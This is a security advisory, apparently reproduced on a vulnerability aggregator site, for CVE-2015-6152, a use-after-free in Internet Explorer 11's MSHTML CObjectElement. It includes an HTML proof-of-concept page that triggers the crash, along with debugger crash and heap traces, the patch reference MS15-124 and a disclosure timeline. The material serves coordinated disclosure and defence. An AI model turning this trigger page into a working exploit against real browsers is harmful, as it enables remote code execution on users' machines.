Microsoft IE 11 MSHTML!CObjectElement Use-After-Free

🗓️ 11 Dec 2015 00:00:00Reported by Moritz JodeitType

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Microsoft IE 11 MSHTML!CObjectElement Use-After-Free vulnerability allows arbitrary code execution. User interaction needed to exploit by visiting malicious page or opening malicious file

Reporter	Title	Published	Views	Family All 16
0day.today	Internet Explorer 11 MSHTML!CObjectElement Use-After-Free Exploit	11 Dec 201500:00	–	zdt
Circl	CVE-2015-6152	31 Aug 202503:01	–	circl
CNVD	Microsoft Internet Explorer Memory Corruption Vulnerability (CNVD-2015-08062)	10 Dec 201500:00	–	cnvd
Check Point Advisories	Microsoft Internet Explorer Memory Corruption (MS15-124: CVE-2015-6152)	8 Dec 201500:00	–	checkpoint_advisories
CVE	CVE-2015-6152	9 Dec 201511:00	–	cve
Cvelist	CVE-2015-6152	9 Dec 201511:00	–	cvelist
Exploit DB	Microsoft Internet Explorer 11 - MSHTML!CObjectElement Use-After-Free (MS15-124)	14 Dec 201500:00	–	exploitdb
exploitpack	Microsoft Internet Explorer 11 - MSHTML!CObjectElement Use-After-Free (MS15-124)	14 Dec 201500:00	–	exploitpack
Microsoft KB	MS15-124: Cumulative Security Update for Internet Explorer: December 8, 2015	8 Dec 201500:00	–	mskb
Kaspersky	KLA10720 Multiple vulnerabilities in Microsoft Internet Explorer & Edge	8 Dec 201500:00	–	kaspersky

`Blue Frost Security GmbH  
https://www.bluefrostsecurity.de/ research(at)bluefrostsecurity.de  
BFS-SA-2015-003 10-December-2015  
________________________________________________________________________________  
  
Vendor: Microsoft, http://www.microsoft.com  
Affected Products: Internet Explorer  
Affected Version: IE 11  
Vulnerability: MSHTML!CObjectElement Use-After-Free Vulnerability  
CVE ID: CVE-2015-6152  
________________________________________________________________________________  
  
I. Impact  
  
This vulnerability allows the execution of arbitrary code on vulnerable  
installations of Microsoft Internet Explorer. User interaction is required to  
exploit this vulnerability in that the target must visit a malicious page or  
open a malicious file.  
  
________________________________________________________________________________  
  
II. Vulnerability Details  
  
Microsoft Internet Explorer 11 is prone to a use-after-free vulnerability in  
the MSHTML!CTreeNode::ComputeFormatsHelper function. The analysis was performed  
on Internet Explorer 11 running on Windows 7 SP1 (x64).  
  
The following HTML page can be used to reproduce the issue:  
  
<!DOCTYPE HTML>  
<html>  
<meta http-equiv="X-UA-Compatible" content="IE=8" />  
<style>  
small{ -ms-block-progression: lr; -ms-filter: "vv"; }  
</style>  
<script>  
function trigger() { document.execCommand("JustifyLeft"); }  
</script>  
<nolayer>blue<small>frost</small>  
<applet><tt>security</applet>  
<script>trigger();</script>  
</html>  
  
With page heap enabled and the Memory Protect feature turned off, visiting  
that page results in the following crash:  
  
(2d4.830): Access violation - code c0000005 (!!! second chance !!!)  
eax=09b09e90 ebx=125b4e60 ecx=00000000 edx=6e9fedf0 esi=0f552fa0 edi=0f552fa0  
eip=6dfcc19b esp=097fb520 ebp=097fc1f0 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
MSHTML!CTreeNode::ComputeFormatsHelper+0x53:  
6dfcc19b f7402400000300 test dword ptr [eax+24h],30000h ds:002b:09b09eb4=????????  
  
0:007> !heap -p -a @eax  
address 09b09e90 found in  
_DPH_HEAP_ROOT @ 9b01000  
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)  
9b01f04: 9b09000 2000  
748090b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
77e61b1c ntdll!RtlDebugFreeHeap+0x0000002f  
77e1ae8a ntdll!RtlpFreeHeap+0x0000005d  
77dc2b65 ntdll!RtlFreeHeap+0x00000142  
758814ad kernel32!HeapFree+0x00000014  
6d92d219 MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x00000122  
6dc46583 MSHTML!CObjectElement::`vector deleting destructor'+0x00000023  
6dfce0db MSHTML!CElement::PrivateRelease+0x0000027e  
6d98953d MSHTML!CObjectElement::DeferredFallback+0x0000033d  
6d96e1b3 MSHTML!GlobalWndOnMethodCall+0x0000017b  
6d95577e MSHTML!GlobalWndProc+0x0000012e  
770762fa user32!InternalCallWinProc+0x00000023  
77076d3a user32!UserCallWinProcCheckWow+0x00000109  
770777c4 user32!DispatchMessageWorker+0x000003bc  
7707788a user32!DispatchMessageW+0x0000000f  
6ebfa7b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464  
6ec38de8 IEFRAME!LCIETab_ThreadProc+0x000003e7  
76a9e81c iertutil!CMemBlockRegistrar::_LoadProcs+0x00000067  
747b4b01 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094  
7588336a kernel32!BaseThreadInitThunk+0x0000000e  
77dc9882 ntdll!__RtlUserThreadStart+0x00000070  
77dc9855 ntdll!_RtlUserThreadStart+0x0000001b  
  
We can see that a freed CObjectElement object is accessed in the  
MSHTML!CTreeNode::ComputeFormatsHelper function. If we take a look at the  
memory just before the CObjectElement destructor is called, we can see where  
the object was initially allocated.  
  
0:007> bu MSHTML!CObjectElement::~CObjectElement  
0:007> g  
Breakpoint 0 hit  
eax=6daf6b10 ebx=00000000 ecx=0980de90 edx=0f834bb0 esi=0980de90 edi=094bc324  
eip=6dc4658f esp=094bc310 ebp=094bc318 iopl=0 nv up ei ng nz na pe cy  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287  
MSHTML!CObjectElement::~CObjectElement:  
0:007> !heap -p -a poi(@esp+4)  
address 09b09e90 found in  
_DPH_HEAP_ROOT @ 9b01000  
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)  
9b01f04: 9b09e90 170 - 9b09000 2000  
MSHTML!CObjectElement::`vftable'  
74808e89 verifier!AVrfDebugPageHeapAllocate+0x00000229  
77e6134e ntdll!RtlDebugAllocateHeap+0x00000030  
77e1b16e ntdll!RtlpAllocateHeap+0x000000c4  
77dc2fe3 ntdll!RtlAllocateHeap+0x0000023a  
6daf6a27 MSHTML!CObjectElement::CreateElement+0x00000017  
6e0423a4 MSHTML!CHtmParse::ParseBeginTag+0x000000b8  
6df17172 MSHTML!CHtmParse::ParseToken+0x00000096  
6df16a0f MSHTML!CHtmPost::ProcessTokens+0x000004c7  
6dd8341b MSHTML!CHtmPost::Exec+0x00000207  
6da308a8 MSHTML!CHtmPost::Run+0x0000003d  
6da3080e MSHTML!PostManExecute+0x00000061  
6da2727c MSHTML!PostManResume+0x0000007b  
6da971f0 MSHTML!CDwnChan::OnMethodCall+0x0000002f  
6d96e1b3 MSHTML!GlobalWndOnMethodCall+0x0000017b  
6d95577e MSHTML!GlobalWndProc+0x0000012e  
770762fa user32!InternalCallWinProc+0x00000023  
77076d3a user32!UserCallWinProcCheckWow+0x00000109  
770777c4 user32!DispatchMessageWorker+0x000003bc  
7707788a user32!DispatchMessageW+0x0000000f  
6ebfa7b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464  
6ec38de8 IEFRAME!LCIETab_ThreadProc+0x000003e7  
76a9e81c iertutil!CMemBlockRegistrar::_LoadProcs+0x00000067  
747b4b01 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094  
7588336a kernel32!BaseThreadInitThunk+0x0000000e  
77dc9882 ntdll!__RtlUserThreadStart+0x00000070  
77dc9855 ntdll!_RtlUserThreadStart+0x0000001b  
  
________________________________________________________________________________  
  
III. Mitigation  
  
The issue was fixed in MS15-124 which should be installed to resolve the issue.  
  
________________________________________________________________________________  
  
IV. Disclosure Timeline  
  
- 2015-08-04 Vulnerability reported to [email protected]  
- 2015-09-24 Microsoft confirms that they successufully reproduced the issue  
- 2015-12-08 Microsoft resolves issue in MS15-124  
  
________________________________________________________________________________  
  
Credit:  
Bug found by Moritz Jodeit of Blue Frost Security GmbH.  
________________________________________________________________________________  
  
Unaltered electronic reproduction of this advisory is permitted. For all other  
reproduction or publication, in printing or otherwise, contact  
[email protected] for permission. Use of the advisory constitutes  
acceptance for use in an "as is" condition. All warranties are excluded. In no  
event shall Blue Frost Security be liable for any damages whatsoever including  
direct, indirect, incidental, consequential, loss of business profits or  
special damages, even if Blue Frost Security has been advised of the  
possibility of such damages.  
  
Copyright 2015 Blue Frost Security GmbH. All rights reserved. Terms of use apply.  
`

11 Dec 2015 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.14836